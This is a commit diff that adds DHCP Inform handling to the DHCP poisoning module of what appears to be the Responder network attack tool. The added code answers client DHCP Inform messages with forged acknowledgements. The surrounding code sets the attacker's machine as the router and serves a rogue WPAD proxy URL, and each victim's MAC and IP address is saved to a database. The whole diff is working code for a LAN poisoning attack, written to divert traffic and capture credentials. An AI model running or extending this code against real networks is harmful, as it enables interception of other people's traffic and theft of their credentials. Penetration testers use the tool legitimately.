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added: dhcp inform

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lgandx 2021-12-13 20:30:14 -03:00
commit 3e8c9fdb0e
1 changed files with 21 additions and 1 deletions
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22
poisoners/DHCP.py
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@ -85,7 +85,7 @@ ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a st
NETMASK = "255.255.255.0"
DNSIP = "0.0.0.0"
DNSIP2 = "0.0.0.0"
DNSNAME = "lan"
DNSNAME = "local"
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
Respond_To_Requests = True
DHCPClient = []
@ -280,6 +280,26 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS):
'RequestedIP': IPConv,
})
return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr)
# DHCP Inform
elif OpCode == b"\x08":
IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=socket.inet_aton(CurrentIP).decode('latin-1'))
Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), ActualClientIP=socket.inet_aton(CurrentIP).decode('latin-1'),
GiveClientIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
NextServerIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
RelayAgentIP=socket.inet_aton("0.0.0.0").decode('latin-1'),
ElapsedSec=Seconds.decode('latin-1'))
Packet.calculate(DHCP_DNS)
Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (CurrentIP, 68))
DHCPClient.append(MacAddrStr)
SaveDHCPToDb({
'MAC': MacAddrStr,
'IP': CurrentIP,
'RequestedIP': RequestedIP,
})
return 'Acknowledged DHCP Inform for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, RequestedIP, MacAddrStr)
elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover
IP = FindIP(data)